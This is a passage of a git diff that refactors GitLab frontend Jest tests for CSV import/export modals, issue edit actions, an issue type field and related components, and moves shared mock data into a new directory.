- propsData: {
- modalId: 'csv-export-modal',
- exportCsvPath: 'export/csv/path',
- issuableCount: 1,
- ...props,
- },
- provide: {
- issuableType: 'issues',
- ...injectedProperties,
- },
- stubs: {
- GlModal: stubComponent(GlModal, {
- template:
- '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-footer"></slot></div>',
- }),
- },
- }),
- );
+ return mount(CsvExportModal, {
+ propsData: {
+ modalId: 'csv-export-modal',
+ exportCsvPath: 'export/csv/path',
+ issuableCount: 1,
+ ...props,
+ },
+ provide: {
+ issuableType: 'issues',
+ ...injectedProperties,
+ },
+ stubs: {
+ GlModal: stubComponent(GlModal, {
+ template:
+ '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-footer"></slot></div>',
+ }),
+ },
+ });
}
afterEach(() => {
@@ -61,14 +58,13 @@ describe('CsvExportModal', () => {
describe('issuable count info text', () => {
it('displays the info text when issuableCount is > -1', () => {
wrapper = createComponent({ props: { issuableCount: 10 } });
- expect(wrapper.findByTestId('issuable-count-note').exists()).toBe(true);
- expect(wrapper.findByTestId('issuable-count-note').text()).toContain('10 issues selected');
+ expect(wrapper.text()).toContain('10 issues selected');
expect(findIcon().exists()).toBe(true);
});
it("doesn't display the info text when issuableCount is -1", () => {
wrapper = createComponent({ props: { issuableCount: -1 } });
- expect(wrapper.findByTestId('issuable-count-note').exists()).toBe(false);
+ expect(wrapper.text()).not.toContain('issues selected');
});
});
diff --git a/spec/frontend/issuable/components/csv_import_export_buttons_spec.js b/spec/frontend/issuable/components/csv_import_export_buttons_spec.js
index 2fe8d28a333..118c12d968b 100644
--- a/spec/frontend/issuable/components/csv_import_export_buttons_spec.js
+++ b/spec/frontend/issuable/components/csv_import_export_buttons_spec.js
@@ -1,6 +1,6 @@
-import { shallowMount } from '@vue/test-utils';
+import { GlButton, GlDropdown } from '@gitlab/ui';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
import CsvExportModal from '~/issuable/components/csv_export_modal.vue';
import CsvImportExportButtons from '~/issuable/components/csv_import_export_buttons.vue';
import CsvImportModal from '~/issuable/components/csv_import_modal.vue';
@@ -14,35 +14,33 @@ describe('CsvImportExportButtons', () => {
function createComponent(injectedProperties = {}) {
glModalDirective = jest.fn();
- return extendedWrapper(
- shallowMount(CsvImportExportButtons, {
- directives: {
- GlTooltip: createMockDirective(),
- glModal: {
- bind(_, { value }) {
- glModalDirective(value);
- },
+ return mountExtended(CsvImportExportButtons, {
+ directives: {
+ GlTooltip: createMockDirective(),
+ glModal: {
+ bind(_, { value }) {
+ glModalDirective(value);
},
},
- provide: {
- ...injectedProperties,
- },
- propsData: {
- exportCsvPath,
- issuableCount,
- },
- }),
- );
+ },
+ provide: {
+ ...injectedProperties,
+ },
+ propsData: {
+ exportCsvPath,
+ issuableCount,
+ },
+ });
}
afterEach(() => {
wrapper.destroy();
});
- const findExportCsvButton = () => wrapper.findByTestId('export-csv-button');
- const findImportDropdown = () => wrapper.findByTestId('import-csv-dropdown');
- const findImportCsvButton = () => wrapper.findByTestId('import-csv-dropdown');
- const findImportFromJiraLink = () => wrapper.findByTestId('import-from-jira-link');
+ const findExportCsvButton = () => wrapper.findComponent(GlButton);
+ const findImportDropdown = () => wrapper.findComponent(GlDropdown);
+ const findImportCsvButton = () => wrapper.findByRole('menuitem', { name: 'Import CSV' });
+ const findImportFromJiraLink = () => wrapper.findByRole('menuitem', { name: 'Import from Jira' });
const findExportCsvModal = () => wrapper.findComponent(CsvExportModal);
const findImportCsvModal = () => wrapper.findComponent(CsvImportModal);
@@ -97,7 +95,7 @@ describe('CsvImportExportButtons', () => {
expect(findImportDropdown().exists()).toBe(true);
});
- it('renders the import button', () => {
+ it('renders the import csv menu item', () => {
expect(findImportCsvButton().exists()).toBe(true);
});
@@ -106,8 +104,11 @@ describe('CsvImportExportButtons', () => {
wrapper = createComponent({ showImportButton: true, showLabel: false });
});
- it('does not have a button text', () => {
- expect(findImportCsvButton().props('text')).toBe(null);
+ it('hides button text', () => {
+ expect(findImportDropdown().props()).toMatchObject({
+ text: 'Import issues',
+ textSrOnly: true,
+ });
});
it('import button has a tooltip', () => {
@@ -124,7 +125,10 @@ describe('CsvImportExportButtons', () => {
});
it('displays a button text', () => {
- expect(findImportCsvButton().props('text')).toBe('Import issues');
+ expect(findImportDropdown().props()).toMatchObject({
+ text: 'Import issues',
+ textSrOnly: false,
+ });
});
it('import button has no tooltip', () => {
diff --git a/spec/frontend/issuable/components/csv_import_modal_spec.js b/spec/frontend/issuable/components/csv_import_modal_spec.js
index ce9d738f77b..0c88b6b1283 100644
--- a/spec/frontend/issuable/components/csv_import_modal_spec.js
+++ b/spec/frontend/issuable/components/csv_import_modal_spec.js
@@ -1,8 +1,6 @@
-import { GlModal } from '@gitlab/ui';
-import { getByRole, getByLabelText } from '@testing-library/dom';
-import { mount } from '@vue/test-utils';
+import { GlButton, GlModal } from '@gitlab/ui';
import { stubComponent } from 'helpers/stub_component';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
import CsvImportModal from '~/issuable/components/csv_import_modal.vue';
jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
@@ -13,23 +11,21 @@ describe('CsvImportModal', () => {
function createComponent(options = {}) {
const { injectedProperties = {}, props = {} } = options;
- return extendedWrapper(
- mount(CsvImportModal, {
- propsData: {
- modalId: 'csv-import-modal',
- ...props,
- },
- provide: {
- issuableType: 'issues',
- ...injectedProperties,
- },
- stubs: {
- GlModal: stubComponent(GlModal, {
- template: '<div><slot></slot><slot name="modal-footer"></slot></div>',
- }),
- },
- }),
- );
+ return mountExtended(CsvImportModal, {
+ propsData: {
+ modalId: 'csv-import-modal',
+ ...props,
+ },
+ provide: {
+ issuableType: 'issues',
+ ...injectedProperties,
+ },
+ stubs: {
+ GlModal: stubComponent(GlModal, {
+ template: '<div><slot></slot><slot name="modal-footer"></slot></div>',
+ }),
+ },
+ });
}
beforeEach(() => {
@@ -41,9 +37,9 @@ describe('CsvImportModal', () => {
});
const findModal = () => wrapper.findComponent(GlModal);
- const findPrimaryButton = () => getByRole(wrapper.element, 'button', { name: 'Import issues' });
- const findForm = () => wrapper.findByTestId('import-csv-form');
- const findFileInput = () => getByLabelText(wrapper.element, 'Upload CSV file');
+ const findPrimaryButton = () => wrapper.findComponent(GlButton);
+ const findForm = () => wrapper.find('form');
+ const findFileInput = () => wrapper.findByLabelText('Upload CSV file');
const findAuthenticityToken = () => new FormData(findForm().element).get('authenticity_token');
describe('template', () => {
@@ -76,8 +72,8 @@ describe('CsvImportModal', () => {
expect(findPrimaryButton()).toExist();
});
- it('submits the form when the primary action is clicked', async () => {
- findPrimaryButton().click();
+ it('submits the form when the primary action is clicked', () => {
+ findPrimaryButton().trigger('click');
expect(formSubmitSpy).toHaveBeenCalled();
});
diff --git a/spec/frontend/issuable/components/issuable_by_email_spec.js b/spec/frontend/issuable/components/issuable_by_email_spec.js
index 08a99f29479..f11c41fe25d 100644
--- a/spec/frontend/issuable/components/issuable_by_email_spec.js
+++ b/spec/frontend/issuable/components/issuable_by_email_spec.js
@@ -58,10 +58,11 @@ describe('IssuableByEmail', () => {
mockAxios.restore();
});
- const findFormInputGroup = () => wrapper.find(GlFormInputGroup);
+ const findButton = () => wrapper.findComponent(GlButton);
+ const findFormInputGroup = () => wrapper.findComponent(GlFormInputGroup);
const clickResetEmail = async () => {
- wrapper.findByTestId('incoming-email-token-reset').vm.$emit('click');
+ wrapper.findAllComponents(GlButton).at(2).trigger('click');
await waitForPromises();
};
@@ -75,14 +76,14 @@ describe('IssuableByEmail', () => {
'renders a link with "$buttonText" when type is "$issuableType"',
({ issuableType, buttonText }) => {
wrapper = createComponent({ issuableType });
- expect(wrapper.findByTestId('issuable-email-modal-btn').text()).toBe(buttonText);
+ expect(findButton().text()).toBe(buttonText);
},
);
it('opens the modal when the user clicks the button', () => {
wrapper = createComponent();
- wrapper.findByTestId('issuable-email-modal-btn').vm.$emit('click');
+ findButton().trigger('click');
expect(glModalDirective).toHaveBeenCalled();
});
@@ -105,7 +106,7 @@ describe('IssuableByEmail', () => {
initialEmail,
});
- expect(wrapper.findByTestId('mail-to-btn').attributes('href')).toBe(
+ expect(wrapper.findAllComponents(GlButton).at(1).attributes('href')).toBe(
`mailto:${initialEmail}?subject=${subject}&body=${body}`,
);
});
diff --git a/spec/frontend/issuable/components/status_box_spec.js b/spec/frontend/issuable/components/status_box_spec.js
index 990fac67f7e..9cbf023dbd6 100644
--- a/spec/frontend/issuable/components/status_box_spec.js
+++ b/spec/frontend/issuable/components/status_box_spec.js
@@ -1,4 +1,4 @@
-import { GlSprintf } from '@gitlab/ui';
+import { GlIcon, GlSprintf } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import StatusBox from '~/issuable/components/status_box.vue';
@@ -64,7 +64,7 @@ describe('Merge request status box component', () => {
initialState: testCase.state,
});
- expect(wrapper.find('[data-testid="status-icon"]').props('name')).toBe(testCase.icon);
+ expect(wrapper.findComponent(GlIcon).props('name')).toBe(testCase.icon);
});
});
});
diff --git a/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js b/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
index e5e3478dc59..3099e0b639b 100644
--- a/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
+++ b/spec/frontend/issuable/related_issues/components/related_issues_root_spec.js
@@ -6,7 +6,7 @@ import {
issuable1,
issuable2,
} from 'jest/vue_shared/components/issue/related_issuable_mock_data';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import RelatedIssuesRoot from '~/related_issues/components/related_issues_root.vue';
import { linkedIssueTypesMap } from '~/related_issues/constants';
@@ -195,7 +195,9 @@ describe('RelatedIssuesRoot', () => {
wrapper.vm.onPendingFormSubmit(input);
return waitForPromises().then(() => {
- expect(createFlash).toHaveBeenCalledWith(message);
+ expect(createFlash).toHaveBeenCalledWith({
+ message,
+ });
});
});
});
diff --git a/spec/frontend/issuable_list/components/issuable_item_spec.js b/spec/frontend/issuable_list/components/issuable_item_spec.js
index e324f071966..ea36d59ff83 100644
--- a/spec/frontend/issuable_list/components/issuable_item_spec.js
+++ b/spec/frontend/issuable_list/components/issuable_item_spec.js
@@ -336,7 +336,7 @@ describe('IssuableItem', () => {
const createdAtEl = wrapper.find('[data-testid="issuable-created-at"]');
expect(createdAtEl.exists()).toBe(true);
- expect(createdAtEl.attributes('title')).toBe('Jun 29, 2020 1:52pm GMT+0000');
+ expect(createdAtEl.attributes('title')).toBe('Jun 29, 2020 1:52pm UTC');
expect(createdAtEl.text()).toBe(wrapper.vm.createdAt);
});
@@ -450,7 +450,7 @@ describe('IssuableItem', () => {
const updatedAtEl = wrapper.find('[data-testid="issuable-updated-at"]');
expect(updatedAtEl.exists()).toBe(true);
- expect(updatedAtEl.find('span').attributes('title')).toBe('Sep 10, 2020 11:41am GMT+0000');
+ expect(updatedAtEl.find('span').attributes('title')).toBe('Sep 10, 2020 11:41am UTC');
expect(updatedAtEl.text()).toBe(wrapper.vm.updatedAt);
});
diff --git a/spec/frontend/issue_show/components/app_spec.js b/spec/frontend/issue_show/components/app_spec.js
index b8860e93a22..4c06f2dca1b 100644
--- a/spec/frontend/issue_show/components/app_spec.js
+++ b/spec/frontend/issue_show/components/app_spec.js
@@ -1,6 +1,7 @@
import { GlIntersectionObserver } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
+import { nextTick } from 'vue';
import { useMockIntersectionObserver } from 'helpers/mock_dom_observer';
import '~/behaviors/markdown/render_gfm';
import IssuableApp from '~/issue_show/components/app.vue';
@@ -17,7 +18,7 @@ import {
publishedIncidentUrl,
secondRequest,
zoomMeetingUrl,
-} from '../mock_data';
+} from '../mock_data/mock_data';
function formatText(text) {
return text.trim().replace(/\s\s+/g, ' ');
@@ -36,12 +37,11 @@ describe('Issuable output', () => {
let wrapper;
const findStickyHeader = () => wrapper.find('[data-testid="issue-sticky-header"]');
-
const findLockedBadge = () => wrapper.find('[data-testid="locked"]');
-
const findConfidentialBadge = () => wrapper.find('[data-testid="confidential"]');
+ const findAlert = () => wrapper.find('.alert');
- const mountComponent = (props = {}, options = {}) => {
+ const mountComponent = (props = {}, options = {}, data = {}) => {
wrapper = mount(IssuableApp, {
propsData: { ...appProps, ...props },
provide: {
@@ -53,6 +53,11 @@ describe('Issuable output', () => {
HighlightBar: true,
IncidentTabs: true,
},
+ data() {
+ return {
+ ...data,
+ };
+ },
...options,
});
};
@@ -91,10 +96,8 @@ describe('Issuable output', () => {
afterEach(() => {
mock.restore();
realtimeRequestCount = 0;
-
wrapper.vm.poll.stop();
wrapper.destroy();
- wrapper = null;
});
it('should render a title/description/edited and update title/description/edited on update', () => {
@@ -115,7 +118,7 @@ describe('Issuable output', () => {
expect(formatText(editedText.text())).toMatch(/Edited[\s\S]+?by Some User/);
expect(editedText.find('.author-link').attributes('href')).toMatch(/\/some_user$/);
expect(editedText.find('time').text()).toBeTruthy();
- expect(wrapper.vm.state.lock_version).toEqual(1);
+ expect(wrapper.vm.state.lock_version).toBe(initialRequest.lock_version);
})
.then(() => {
wrapper.vm.poll.makeRequest();
@@ -133,7 +136,9 @@ describe('Issuable output', () => {
expect(editedText.find('.author-link').attributes('href')).toMatch(/\/other_user$/);
expect(editedText.find('time').text()).toBeTruthy();
- expect(wrapper.vm.state.lock_version).toEqual(2);
+ // As the lock_version value does not differ from the server,
+ // we should not see an alert
+ expect(findAlert().exists()).toBe(false);
});
});
@@ -172,7 +177,7 @@ describe('Issuable output', () => {
${'zoomMeetingUrl'} | ${zoomMeetingUrl}
${'publishedIncidentUrl'} | ${publishedIncidentUrl}
`('sets the $prop correctly on underlying pinned links', ({ prop, value }) => {
- expect(wrapper.vm[prop]).toEqual(value);
+ expect(wrapper.vm[prop]).toBe(value);
expect(wrapper.find(`[data-testid="${prop}"]`).attributes('href')).toBe(value);
});
});
@@ -374,9 +379,9 @@ describe('Issuable output', () => {
});
})
.then(() => {
- expect(wrapper.vm.formState.lockedWarningVisible).toEqual(true);
- expect(wrapper.vm.formState.lock_version).toEqual(1);
- expect(wrapper.find('.alert').exists()).toBe(true);
+ expect(wrapper.vm.formState.lockedWarningVisible).toBe(true);
+ expect(wrapper.vm.formState.lock_version).toBe(1);
+ expect(findAlert().exists()).toBe(true);
});
});
});
@@ -530,7 +535,7 @@ describe('Issuable output', () => {
`('$title', async ({ state }) => {
wrapper.setProps({ issuableStatus: state });
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findStickyHeader().text()).toContain(IssuableStatusText[state]);
});
@@ -542,7 +547,7 @@ describe('Issuable output', () => {
`('$title', async ({ isConfidential }) => {
wrapper.setProps({ isConfidential });
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findConfidentialBadge().exists()).toBe(isConfidential);
});
@@ -554,7 +559,7 @@ describe('Issuable output', () => {
`('$title', async ({ isLocked }) => {
wrapper.setProps({ isLocked });
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findLockedBadge().exists()).toBe(isLocked);
});
@@ -562,9 +567,9 @@ describe('Issuable output', () => {
});
describe('Composable description component', () => {
- const findIncidentTabs = () => wrapper.find(IncidentTabs);
- const findDescriptionComponent = () => wrapper.find(DescriptionComponent);
- const findPinnedLinks = () => wrapper.find(PinnedLinks);
+ const findIncidentTabs = () => wrapper.findComponent(IncidentTabs);
+ const findDescriptionComponent = () => wrapper.findComponent(DescriptionComponent);
+ const findPinnedLinks = () => wrapper.findComponent(PinnedLinks);
const borderClass = 'gl-border-b-1 gl-border-b-gray-100 gl-border-b-solid gl-mb-6';
describe('when using description component', () => {
diff --git a/spec/frontend/issue_show/components/description_spec.js b/spec/frontend/issue_show/components/description_spec.js
index 70c04280675..cdf06ecc31f 100644
--- a/spec/frontend/issue_show/components/description_spec.js
+++ b/spec/frontend/issue_show/components/description_spec.js
@@ -5,7 +5,7 @@ import { TEST_HOST } from 'helpers/test_constants';
import mountComponent from 'helpers/vue_mount_component_helper';
import Description from '~/issue_show/components/description.vue';
import TaskList from '~/task_list';
-import { descriptionProps as props } from '../mock_data';
+import { descriptionProps as props } from '../mock_data/mock_data';
jest.mock('~/task_list');
diff --git a/spec/frontend/issue_show/components/edit_actions_spec.js b/spec/frontend/issue_show/components/edit_actions_spec.js
index 54707879f63..50c27cb5bda 100644
--- a/spec/frontend/issue_show/components/edit_actions_spec.js
+++ b/spec/frontend/issue_show/components/edit_actions_spec.js
@@ -1,113 +1,163 @@
-import Vue from 'vue';
-import editActions from '~/issue_show/components/edit_actions.vue';
+import { GlButton, GlModal } from '@gitlab/ui';
+import { createLocalVue } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import IssuableEditActions from '~/issue_show/components/edit_actions.vue';
import eventHub from '~/issue_show/event_hub';
-import Store from '~/issue_show/stores';
-describe('Edit Actions components', () => {
- let vm;
+import {
+ getIssueStateQueryResponse,
+ updateIssueStateQueryResponse,
+} from '../mock_data/apollo_mock';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+describe('Edit Actions component', () => {
+ let wrapper;
+ let fakeApollo;
+ let mockIssueStateData;
+
+ const mockResolvers = {
+ Query: {
+ issueState() {
+ return {
+ __typename: 'IssueState',
+ rawData: mockIssueStateData(),
+ };
+ },
+ },
+ };
- beforeEach((done) => {
- const Component = Vue.extend(editActions);
- const store = new Store({
- titleHtml: '',
- descriptionHtml: '',
- issuableRef: '',
- });
- store.formState.title = 'test';
+ const modalId = 'delete-issuable-modal-1';
- jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+ const createComponent = ({ props, data } = {}) => {
+ fakeApollo = createMockApollo([], mockResolvers);
- vm = new Component({
+ wrapper = shallowMountExtended(IssuableEditActions, {
+ apolloProvider: fakeApollo,
propsData: {
+ formState: {
+ title: 'GitLab Issue',
+ },
canDestroy: true,
- formState: store.formState,
issuableType: 'issue',
+ ...props,
},
- }).$mount();
+ data() {
+ return {
+ issueState: {},
+ modalId,
+ ...data,
+ };
+ },
+ });
+ };
- Vue.nextTick(done);
- });
+ async function deleteIssuable(localWrapper) {
+ localWrapper.findComponent(GlModal).vm.$emit('primary');
+ }
- it('renders all buttons as enabled', () => {
- expect(vm.$el.querySelectorAll('.disabled').length).toBe(0);
+ const findModal = () => wrapper.findComponent(GlModal);
+ const findEditButtons = () => wrapper.findAllComponents(GlButton);
+ const findDeleteButton = () => wrapper.findByTestId('issuable-delete-button');
+ const findSaveButton = () => wrapper.findByTestId('issuable-save-button');
+ const findCancelButton = () => wrapper.findByTestId('issuable-cancel-button');
- expect(vm.$el.querySelectorAll('[disabled]').length).toBe(0);
+ beforeEach(() => {
+ mockIssueStateData = jest.fn();
+ createComponent();
});
- it('does not render delete button if canUpdate is false', (done) => {
- vm.canDestroy = false;
-
- Vue.nextTick(() => {
- expect(vm.$el.querySelector('.btn-danger')).toBeNull();
+ afterEach(() => {
+ wrapper.destroy();
+ });
- done();
+ it('renders all buttons as enabled', () => {
+ const buttons = findEditButtons().wrappers;
+ buttons.forEach((button) => {
+ expect(button.attributes('disabled')).toBeFalsy();
});
});
- it('disables submit button when title is blank', (done) => {
- vm.formState.title = '';
+ it('does not render the delete button if canDestroy is false', () => {
+ createComponent({ props: { canDestroy: false } });
+ expect(findDeleteButton().exists()).toBe(false);
+ });
- Vue.nextTick(() => {
- expect(vm.$el.querySelector('.btn-confirm').getAttribute('disabled')).toBe('disabled');
+ it('disables save button when title is blank', () => {
+ createComponent({ props: { formState: { title: '', issue_type: '' } } });
- done();
- });
+ expect(findSaveButton().attributes('disabled')).toBe('true');
});
- it('should not show delete button if showDeleteButton is false', (done) => {
- vm.showDeleteButton = false;
+ it('does not render the delete button if showDeleteButton is false', () => {
+ createComponent({ props: { showDeleteButton: false } });
- Vue.nextTick(() => {
- expect(vm.$el.querySelector('.btn-danger')).toBeNull();
- done();
- });
+ expect(findDeleteButton().exists()).toBe(false);
});
describe('updateIssuable', () => {
- it('sends update.issauble event when clicking save button', () => {
- vm.$el.querySelector('.btn-confirm').click();
-
- expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
});
- it('disabled button after clicking save button', (done) => {
- vm.$el.querySelector('.btn-confirm').click();
-
- Vue.nextTick(() => {
- expect(vm.$el.querySelector('.btn-confirm').getAttribute('disabled')).toBe('disabled');
+ it('sends update.issauble event when clicking save button', () => {
+ findSaveButton().vm.$emit('click', { preventDefault: jest.fn() });
- done();
- });
+ expect(eventHub.$emit).toHaveBeenCalledWith('update.issuable');
});
});
describe('closeForm', () => {
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+ });
+
it('emits close.form when clicking cancel', () => {
- vm.$el.querySelector('.btn-default').click();
+ findCancelButton().vm.$emit('click');
expect(eventHub.$emit).toHaveBeenCalledWith('close.form');
});
});
- describe('deleteIssuable', () => {
- it('sends delete.issuable event when clicking save button', () => {
- jest.spyOn(window, 'confirm').mockReturnValue(true);
- vm.$el.querySelector('.btn-danger').click();
+ describe('renders create modal with the correct information', () => {
+ it('renders correct modal id', () => {
+ expect(findModal().attributes('modalid')).toBe(modalId);
+ });
+ });
- expect(eventHub.$emit).toHaveBeenCalledWith('delete.issuable', { destroy_confirm: true });
+ describe('deleteIssuable', () => {
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
});
- it('does no actions when confirm is false', (done) => {
- jest.spyOn(window, 'confirm').mockReturnValue(false);
- vm.$el.querySelector('.btn-danger').click();
+ it('does not send the `delete.issuable` event when clicking delete button', () => {
+ findDeleteButton().vm.$emit('click');
+ expect(eventHub.$emit).not.toHaveBeenCalled();
+ });
- Vue.nextTick(() => {
- expect(eventHub.$emit).not.toHaveBeenCalledWith('delete.issuable');
+ it('sends the `delete.issuable` event when clicking the delete confirm button', async () => {
+ expect(eventHub.$emit).toHaveBeenCalledTimes(0);
+ await deleteIssuable(wrapper);
+ expect(eventHub.$emit).toHaveBeenCalledWith('delete.issuable', { destroy_confirm: true });
+ expect(eventHub.$emit).toHaveBeenCalledTimes(1);
+ });
+ });
- expect(vm.$el.querySelector('.btn-danger .fa')).toBeNull();
+ describe('with Apollo cache mock', () => {
+ it('renders the right delete button text per apollo cache type', async () => {
+ mockIssueStateData.mockResolvedValue(getIssueStateQueryResponse);
+ await waitForPromises();
+ expect(findDeleteButton().text()).toBe('Delete issue');
+ });
- done();
- });
+ it('should not change the delete button text per apollo cache mutation', async () => {
+ mockIssueStateData.mockResolvedValue(updateIssueStateQueryResponse);
+ await waitForPromises();
+ expect(findDeleteButton().text()).toBe('Delete issue');
});
});
});
diff --git a/spec/frontend/issue_show/components/fields/type_spec.js b/spec/frontend/issue_show/components/fields/type_spec.js
new file mode 100644
index 00000000000..0c8af60d50d
--- /dev/null
+++ b/spec/frontend/issue_show/components/fields/type_spec.js
@@ -0,0 +1,84 @@
+import { GlFormGroup, GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import IssueTypeField, { i18n } from '~/issue_show/components/fields/type.vue';
+import { IssuableTypes } from '~/issue_show/constants';
+import {
+ getIssueStateQueryResponse,
+ updateIssueStateQueryResponse,
+} from '../../mock_data/apollo_mock';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+describe('Issue type field component', () => {
+ let wrapper;
+ let fakeApollo;
+ let mockIssueStateData;
+
+ const mockResolvers = {
+ Query: {
+ issueState() {
+ return {
+ __typename: 'IssueState',
+ rawData: mockIssueStateData(),
+ };
+ },
+ },
+ Mutation: {
+ updateIssueState: jest.fn().mockResolvedValue(updateIssueStateQueryResponse),
+ },
+ };
+
+ const findTypeFromGroup = () => wrapper.findComponent(GlFormGroup);
+ const findTypeFromDropDown = () => wrapper.findComponent(GlDropdown);
+ const findTypeFromDropDownItems = () => wrapper.findAllComponents(GlDropdownItem);
+
+ const createComponent = ({ data } = {}) => {
+ fakeApollo = createMockApollo([], mockResolvers);
+
+ wrapper = shallowMount(IssueTypeField, {
+ localVue,
+ apolloProvider: fakeApollo,
+ data() {
+ return {
+ issueState: {},
+ ...data,
+ };
+ },
+ });
+ };
+
+ beforeEach(() => {
+ mockIssueStateData = jest.fn();
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders a form group with the correct label', () => {
+ expect(findTypeFromGroup().attributes('label')).toBe(i18n.label);
+ });
+
+ it('renders a form select with the `issue_type` value', () => {
+ expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.issue);
+ });
+
+ describe('with Apollo cache mock', () => {
+ it('renders the selected issueType', async () => {
+ mockIssueStateData.mockResolvedValue(getIssueStateQueryResponse);
+ await waitForPromises();
+ expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.issue);
+ });
+
+ it('updates the `issue_type` in the apollo cache when the value is changed', async () => {
+ findTypeFromDropDownItems().at(1).vm.$emit('click', IssuableTypes.incident);
+ await wrapper.vm.$nextTick();
+ expect(findTypeFromDropDown().attributes('value')).toBe(IssuableTypes.incident);
+ });
+ });
+});
diff --git a/spec/frontend/issue_show/components/form_spec.js b/spec/frontend/issue_show/components/form_spec.js
index 6d4807c4261..28498cb90ec 100644
--- a/spec/frontend/issue_show/components/form_spec.js
+++ b/spec/frontend/issue_show/components/form_spec.js
@@ -2,6 +2,7 @@ import { GlAlert } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Autosave from '~/autosave';
import DescriptionTemplate from '~/issue_show/components/fields/description_template.vue';
+import IssueTypeField from '~/issue_show/components/fields/type.vue';
import formComponent from '~/issue_show/components/form.vue';
import LockedWarning from '~/issue_show/components/locked_warning.vue';
import eventHub from '~/issue_show/event_hub';
@@ -39,6 +40,7 @@ describe('Inline edit form component', () => {
};
const findDescriptionTemplate = () => wrapper.findComponent(DescriptionTemplate);
+ const findIssuableTypeField = () => wrapper.findComponent(IssueTypeField);
const findLockedWarning = () => wrapper.findComponent(LockedWarning);
const findAlert = () => wrapper.findComponent(GlAlert);
@@ -68,6 +70,21 @@ describe('Inline edit form component', () => {
expect(findDescriptionTemplate().exists()).toBe(true);
});
+ it.each`
+ issuableType | value
+ ${'issue'} | ${true}
+ ${'epic'} | ${false}
+ `(
+ 'when `issue_type` is set to "$issuableType" rendering the type select will be "$value"',
+ ({ issuableType, value }) => {
+ createComponent({
+ issuableType,
+ });
+
+ expect(findIssuableTypeField().exists()).toBe(value);
+ },
+ );
+
it('hides locked warning by default', () => {
createComponent();
diff --git a/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js b/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js
index f46b6ba6f54..6b9f5b17e99 100644
--- a/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js
+++ b/spec/frontend/issue_show/components/incidents/incident_tabs_spec.js
@@ -9,7 +9,7 @@ import IncidentTabs from '~/issue_show/components/incidents/incident_tabs.vue';
import INVALID_URL from '~/lib/utils/invalid_url';
import Tracking from '~/tracking';
import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
-import { descriptionProps } from '../../mock_data';
+import { descriptionProps } from '../../mock_data/mock_data';
const mockAlert = {
__typename: 'AlertManagementAlert',
diff --git a/spec/frontend/issue_show/issue_spec.js b/spec/frontend/issue_show/issue_spec.js
index 9cb7059dd7f..d043693b863 100644
--- a/spec/frontend/issue_show/issue_spec.js
+++ b/spec/frontend/issue_show/issue_spec.js
@@ -5,7 +5,7 @@ import { initIssuableApp } from '~/issue_show/issue';
import * as parseData from '~/issue_show/utils/parse_data';
import axios from '~/lib/utils/axios_utils';
import createStore from '~/notes/stores';
-import { appProps } from './mock_data';
+import { appProps } from './mock_data/mock_data';
const mock = new MockAdapter(axios);
mock.onGet().reply(200);
diff --git a/spec/frontend/issue_show/mock_data.js b/spec/frontend/issue_show/mock_data.js
deleted file mode 100644
index fd08c95b454..00000000000
--- a/spec/frontend/issue_show/mock_data.js
+++ /dev/null
@@ -1,59 +0,0 @@
-import { TEST_HOST } from 'helpers/test_constants';
-
-export const initialRequest = {
- title: '<p>this is a title</p>',
- title_text: 'this is a title',
- description: '<p>this is a description!</p>',
- description_text: 'this is a description',
- task_status: '2 of 4 completed',
- updated_at: '2015-05-15T12:31:04.428Z',
- updated_by_name: 'Some User',
- updated_by_path: '/some_user',
- lock_version: 1,
-};
-
-export const secondRequest = {
- title: '<p>2</p>',
- title_text: '2',
- description: '<p>42</p>',
- description_text: '42',
- task_status: '0 of 0 completed',
- updated_at: '2016-05-15T12:31:04.428Z',
- updated_by_name: 'Other User',
- updated_by_path: '/other_user',
- lock_version: 2,
-};
-
-export const descriptionProps = {
- canUpdate: true,
- descriptionHtml: 'test',
- descriptionText: 'test',
- taskStatus: '',
- updateUrl: TEST_HOST,
-};
-
-export const publishedIncidentUrl = 'https://status.com/';
-
-export const zoomMeetingUrl = 'https://gitlab.zoom.us/j/95919234811';
-
-export const appProps = {
- canUpdate: true,
- canDestroy: true,
- endpoint: '/gitlab-org/gitlab-shell/-/issues/9/realtime_changes',
- updateEndpoint: TEST_HOST,
